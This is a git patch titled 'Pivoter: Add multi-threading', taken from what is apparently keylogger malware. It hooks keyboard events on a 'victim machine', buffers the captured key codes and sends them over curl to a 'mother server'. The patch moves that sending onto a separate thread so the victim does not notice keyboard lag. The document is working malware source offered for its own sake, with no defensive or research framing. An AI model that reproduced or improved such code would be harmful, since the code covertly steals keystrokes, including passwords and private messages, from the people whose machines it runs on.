From 7896e5ac20b44c990d0d71d0a3fbfb6e757083a3 Mon Sep 17 00:00:00 2001 From: osamu Date: Sun, 1 Jan 2023 09:12:06 -0800 Subject: [PATCH] Pivoter: Add multi-threading The program now supports a simple multi-threading solution that solves the issue of the keyboard lag in a case where there's noticable latency between the victim machine and the mother server. --- Pivoter.cpp | 19 +++++++++++++++---- connections_pivoter.cpp | 1 + 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/Pivoter.cpp b/Pivoter.cpp index c42c191..bb77ee0 100644 --- a/Pivoter.cpp +++ b/Pivoter.cpp @@ -9,7 +9,6 @@ #include #include #include -#include #include "codes.h" #include "connections_pivoter.h" #include "security_checker.h" @@ -18,15 +17,27 @@ #define KEYS_LIMIT 200 HHOOK keyboard_events_hook; std::vector virt_codes; +std::vector thread_codes; ConnectionsPivoter mother_server_pv = ConnectionsPivoter(); +DWORD WINAPI send_codes_thread_function(LPVOID keys) { + std::vector* keys_ptr = static_cast*>(keys); + bool res = mother_server_pv.send_codes(*keys_ptr); + + if (DEBUG && !res) { + std::cout << "Failed sending to the mother server!" << std::endl; + return 1; + } + + return 0; +} + void stack_codes() { if (virt_codes.size() < KEYS_LIMIT) return; - bool res = mother_server_pv.send_codes(virt_codes); - if (DEBUG && !res) - std::cout << "Failed sending message to the mother server" << std::endl; + thread_codes = virt_codes; + HANDLE thread = CreateThread(NULL, 0, send_codes_thread_function, &thread_codes, 0, NULL); virt_codes.clear(); } diff --git a/connections_pivoter.cpp b/connections_pivoter.cpp index c71ecc5..6611fdc 100644 --- a/connections_pivoter.cpp +++ b/connections_pivoter.cpp @@ -55,6 +55,7 @@ static const BYTE key[] = { }; BOOL ConnectionsPivoter::send_codes(std::vector codes) { + if (!this->curl) return false;